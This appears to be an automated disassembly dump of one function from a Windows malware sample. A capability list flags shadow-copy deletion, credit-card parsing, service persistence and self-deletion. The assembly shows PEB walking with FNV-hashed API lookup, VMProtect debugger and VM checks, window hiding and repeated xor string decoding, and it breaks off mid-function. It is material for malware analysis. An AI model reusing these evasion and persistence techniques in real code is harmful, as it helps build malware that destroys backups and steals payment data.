Function at 0x1400ed720
Capabilities:
Access peb ldr_data
Authenticate hmac
Delete volume shadow copies
Encode data using xor
Execute command
Hash data using fnv
Hide graphical window
Parse credit card information
Parse pe header
Persist via windows service
Resolve function by parsing pe exports
Self delete
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r15
mov eax, 0x4660
call fcn.14019ec20
sub rsp, rax
mov eax, dword [str.TTJ:g_KWhLRQY_]
mov dword [rsp + 0x4680], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400ed7d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400ed7d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400ed7d1
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x1400ed7b0
cmp r8d, 0x491e0a9c
je 0x1400ed7db
test r9d, r9d
jne 0x1400ed790
mov rax, qword [rax]
jmp 0x1400ed760
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
vmovdqu xmm5, xmmword [0x1401c35f0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmmword [0x1401c37e0]
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmmword [0x1401c37e0]
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 4
vpsrld xmm0, xmm4, 0x1f
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmmword [0x1401c3610]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x1401c35e0]
vpaddb xmm2, xmm4, xmmword [0x1401c37a0]
vmovd xmm0, dword [rsp + 0x4680]
vpxor xmm1, xmm2, xmm0
vmovd dword [rsp + 0x4680], xmm1
lea rcx, [rsp + 0x4680]
call rdx
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
vmovsd xmm0, qword [0x1401bd1a8]
vmovsd qword [rsp + 0x20], xmm0
movzx eax, word [0x1401bd1b0]
mov word [rsp + 0x28], ax
cmp byte [0x1401bd1b1], 0
je 0x1400ed8c5
mov byte [rsp + 0x20], 0x50
xor byte [rsp + 0x21], 0x38
xor byte [rsp + 0x22], 0x39
xor byte [rsp + 0x23], 0x3a
xor byte [rsp + 0x24], 0x3b
xor byte [rsp + 0x25], 0x3c
xor byte [rsp + 0x26], 0x3d
xor byte [rsp + 0x27], 0x3e
xor byte [rsp + 0x28], 0x3f
xor byte [rsp + 0x29], 0x40
lea rcx, [rsp + 0x20]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectBeginUltra]
mov cl, 1
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
mov cl, 1
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
mov cl, 1
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsProtected]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsVirtualMachinePresent]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rsi, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x210a], ymm0
vmovdqu xmm1, xmmword [0x1401c39e0]
vmovdqu xmmword [rsp + 0x212a], xmm1
mov word [rsp + 0x213a], 0x100
xor ecx, ecx
nop word [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x210a], al
inc rcx
cmp rcx, 0x30
jb 0x1400ed940
mov byte [rsp + 0x213b], 0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x128], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x138], xmm1
lea rax, [rsp + 0x210a]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400ed990
lea rdx, [rsp + 0x210a]
lea rcx, [rsp + 0x128]
vzeroupper
call fcn.140070960
nop
mov r8d, 0x8788
lea rdx, [0x1401fe070]
lea rcx, [rsp + 0x128]
call fcn.1400de8e0
nop
mov rdx, qword [rsp + 0x140]
cmp rdx, 0xf
jbe 0x1400eda11
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400eda0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400edc28
call fcn.14019ebcc
vmovdqu xmm0, xmmword [0x1401c35c0]
vmovdqu xmmword [rsp + 0x138], xmm0
mov byte [rsp + 0x128], 0
vmovdqu ymm1, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x20d9], ymm1
vmovdqu xmm0, xmmword [0x1401c36a0]
vmovdqu xmmword [rsp + 0x20f9], xmm0
mov byte [rsp + 0x2109], 1
xor ecx, ecx
nop word [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x20d9], al
inc rcx
cmp rcx, 0x2f
jb 0x1400eda60
mov byte [rsp + 0x2109], 0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x148], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x158], xmm1
lea rax, [rsp + 0x20d9]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400edaa0
lea rdx, [rsp + 0x20d9]
lea rcx, [rsp + 0x148]
vzeroupper
call fcn.140070960
nop
mov r8d, 0x7180
lea rdx, [0x1401f6ed0]
lea rcx, [rsp + 0x148]
call fcn.1400de8e0
nop
mov rdx, qword [rsp + 0x160]
cmp rdx, 0xf
jbe 0x1400edb21
inc rdx
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400edb1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400edc28
call fcn.14019ebcc
vmovdqu xmm0, xmmword [0x1401c35c0]
vmovdqu xmmword [rsp + 0x158], xmm0
mov byte [rsp + 0x148], 0
vmovdqu ymm1, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x213c], ymm1
vmovdqu xmm0, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x215c], xmm0
mov word [rsp + 0x216c], 0x100
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x213c], al
inc rcx
cmp rcx, 0x30
jb 0x1400edb70
mov byte [rsp + 0x216d], 0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x168], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x178], xmm1
lea rax, [rsp + 0x213c]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400edbb0
lea rdx, [rsp + 0x213c]
lea rcx, [rsp + 0x168]
vzeroupper
call fcn.140070960
nop
mov r8d, 0x4b670
lea rdx, [0x140246c10]
lea rcx, [rsp + 0x168]
call fcn.1400de8e0
nop
mov rdx, qword [rsp + 0x180]
cmp rdx, 0xf
jbe 0x1400edc34
inc rdx
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400edc2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400edc2f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14019ebcc
vmovdqu xmm0, xmmword [0x1401c35c0]
vmovdqu xmmword [rsp + 0x178], xmm0
vmovups ymm0, ymmword [0x1401bd1b8]
vmovups ymmword [rsp + 0x2b8f], ymm0
movzx eax, word [0x1401bd1f0]
vmovsd xmm0, qword [0x1401bd1e8]
vmovups xmm1, xmmword [0x1401bd1d8]
mov word [rsp + 0x2bc7], ax
vmovsd qword [rsp + 0x2bbf], xmm0
vmovups xmmword [rsp + 0x2baf], xmm1
mov byte [rsp + 0x168], 0
xor r10d, r10d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x2b8f], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x2b90], al
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x2b91], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x2b92], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2b93], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x2b94], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x2b95], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x2b96], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x2b97], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x2b98], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x2b99], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x2b9a], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x2b9b], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x2b9c], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x2b9d], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x2b9e], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x2b9f], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x2ba0], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x2ba1], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x2ba2], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x2ba3], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x2ba4], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x2ba5], al
lea ecx, [r8 + 0x15]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x2ba6], al
lea ecx, [r8 + 0x16]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x2ba7], al
lea ecx, [r8 + 0x17]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x2ba8], al
lea ecx, [r8 + 0x18]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x2ba9], al
lea ecx, [r8 + 0x19]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r10 + 0x2baa], al
lea ecx, [r8 + 0x1a]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x53
xor byte [rsp + r10 + 0x2bab], al
add r10d, 0x1d
cmp r10d, 0x3a
jl 0x1400edca0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x188], xmm0
mov qword [rsp + 0x198], 0
mov qword [rsp + 0x1a0], 0
lea rax, [rsp + 0x2b8f]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400ee1c0
mov r8, rbx
lea rdx, [rsp + 0x2b8f]
lea rcx, [rsp + 0x188]
vzeroupper
call fcn.140070960
lea rcx, [rsp + 0x188]
call fcn.14011c8f0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x1c8]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x22ab], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x22cb], xmm1
mov dword [rsp + 0x22db], 0xc6c7bcb2
mov word [rsp + 0x22df], 0xb6
mov byte [rsp + 0x22e1], 1
xor ecx, ecx
nop word [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x22ab], al
inc rcx
cmp rcx, 0x35
jb 0x1400ee250
mov byte [rsp + 0x22e1], 0
lea rdx, [rsp + 0x22ab]
lea rcx, [rsp + 0x1a8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
mov r8, qword [rsp + 0x1e0]
cmp r8, 0xf
jbe 0x1400ee2af
mov rdx, qword [rsp + 0x1c8]
lea rcx, [rsp + 0x1c8]
call fcn.14006f520
vmovdqu xmm0, xmmword [0x1401c35c0]
vmovdqu xmmword [rsp + 0x1d8], xmm0
mov byte [rsp + 0x1c8], 0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x208]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x22e2], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2302], xmm1
mov dword [rsp + 0x2312], 0xc6d6bcb2
mov word [rsp + 0x2316], 0xb6
mov byte [rsp + 0x2318], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x22e2], al
inc rcx
cmp rcx, 0x35
jb 0x1400ee320
mov byte [rsp + 0x2318], 0
lea rdx, [rsp + 0x22e2]
lea rcx, [rsp + 0x1e8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
mov r8, qword [rsp + 0x220]
cmp r8, 0xf
jbe 0x1400ee37f
mov rdx, qword [rsp + 0x208]
lea rcx, [rsp + 0x208]
call fcn.14006f520
vmovdqu xmm0, xmmword [0x1401c35c0]
vmovdqu xmmword [rsp + 0x218], xmm0
mov byte [rsp + 0x208], 0
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x248]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2319], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2339], xmm1
mov dword [rsp + 0x2349], 0xc6d7bcb2
mov word [rsp + 0x234d], 0xb6
mov byte [rsp + 0x234f], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2319], al
inc rcx
cmp rcx, 0x35
jb 0x1400ee3f0
mov byte [rsp + 0x234f], 0
lea rdx, [rsp + 0x2319]
lea rcx, [rsp + 0x228]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x248]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x288]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2765], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2785], xmm1
mov dword [rsp + 0x2795], 0xc6c4bcb2
mov dword [rsp + 0x2799], 0x100b7d8
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2765], al
inc rcx
cmp rcx, 0x36
jb 0x1400ee490
mov byte [rsp + 0x279c], 0
lea rdx, [rsp + 0x2765]
lea rcx, [rsp + 0x268]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x288]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x2c8]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2350], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2370], xmm1
mov dword [rsp + 0x2380], 0xc6d6bcb2
mov word [rsp + 0x2384], 0xb6
mov byte [rsp + 0x2386], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2350], al
inc rcx
cmp rcx, 0x35
jb 0x1400ee530
mov byte [rsp + 0x2386], 0
lea rdx, [rsp + 0x2350]
lea rcx, [rsp + 0x2a8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x2c8]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x308]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2387], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x23a7], xmm1
mov dword [rsp + 0x23b7], 0xc3d6bcb2
mov word [rsp + 0x23bb], 0xb6
mov byte [rsp + 0x23bd], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2387], al
inc rcx
cmp rcx, 0x35
jb 0x1400ee5d0
mov byte [rsp + 0x23bd], 0
lea rdx, [rsp + 0x2387]
lea rcx, [rsp + 0x2e8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x308]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x348]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x23be], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x23de], xmm1
mov dword [rsp + 0x23ee], 0xc5d6bcb2
mov word [rsp + 0x23f2], 0xb6
mov byte [rsp + 0x23f4], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x23be], al
inc rcx
cmp rcx, 0x35
jb 0x1400ee670
mov byte [rsp + 0x23f4], 0
lea rdx, [rsp + 0x23be]
lea rcx, [rsp + 0x328]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x348]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x388]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x23f5], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2415], xmm1
mov dword [rsp + 0x2425], 0xd8d6bcb2
mov word [rsp + 0x2429], 0xb6
mov byte [rsp + 0x242b], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x23f5], al
inc rcx
cmp rcx, 0x35
jb 0x1400ee710
mov byte [rsp + 0x242b], 0
lea rdx, [rsp + 0x23f5]
lea rcx, [rsp + 0x368]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x388]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x3c8]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x242c], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x244c], xmm1
mov dword [rsp + 0x245c], 0xd8c7bcb2
mov word [rsp + 0x2460], 0xb6
mov byte [rsp + 0x2462], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x242c], al
inc rcx
cmp rcx, 0x35
jb 0x1400ee7b0
mov byte [rsp + 0x2462], 0
lea rdx, [rsp + 0x242c]
lea rcx, [rsp + 0x3a8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x3c8]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x408]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2463], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2483], xmm1
mov dword [rsp + 0x2493], 0xdec7bcb2
mov word [rsp + 0x2497], 0xb6
mov byte [rsp + 0x2499], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2463], al
inc rcx
cmp rcx, 0x35
jb 0x1400ee850
mov byte [rsp + 0x2499], 0
lea rdx, [rsp + 0x2463]
lea rcx, [rsp + 0x3e8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x408]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x448]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x249a], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x24ba], xmm1
mov dword [rsp + 0x24ca], 0xd3c7bcb2
mov word [rsp + 0x24ce], 0xb6
mov byte [rsp + 0x24d0], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x249a], al
inc rcx
cmp rcx, 0x35
jb 0x1400ee8f0
mov byte [rsp + 0x24d0], 0
lea rdx, [rsp + 0x249a]
lea rcx, [rsp + 0x428]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x448]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x488]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x24d1], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x24f1], xmm1
mov dword [rsp + 0x2501], 0xc6c7bcb2
mov word [rsp + 0x2505], 0xb6
mov byte [rsp + 0x2507], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x24d1], al
inc rcx
cmp rcx, 0x35
jb 0x1400ee990
mov byte [rsp + 0x2507], 0
lea rdx, [rsp + 0x24d1]
lea rcx, [rsp + 0x468]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x488]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x4c8]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x2508], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x2528], xmm1
mov dword [rsp + 0x2538], 0xc3c7bcb2
mov word [rsp + 0x253c], 0xb6
mov byte [rsp + 0x253e], 1
xor ecx, ecx
nop
lea eax, [rcx + 0x62]
xor byte [rsp + rcx + 0x2508], al
inc rcx
cmp rcx, 0x35
jb 0x1400eea30
mov byte [rsp + 0x253e], 0
lea rdx, [rsp + 0x2508]
lea rcx, [rsp + 0x4a8]
vzeroupper
call fcn.14006f640
mov rcx, rax
call fcn.14011c8f0
nop
lea rcx, [rsp + 0x4c8]
call fcn.14006d590
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x508]
call fcn.1400ffc40
mov r8, rax
vmovdqu ymm0, ymmword [str._Y85]
vmovdqu ymmword [rsp + 0x253f], ymm0
vmovdqu xmm1, xmmword [0x1401c39a0]
vmovdqu xmmword [rsp + 0x255f], xmm1
mov dword [rsp + 0x256f], 0xc5c7bcb2
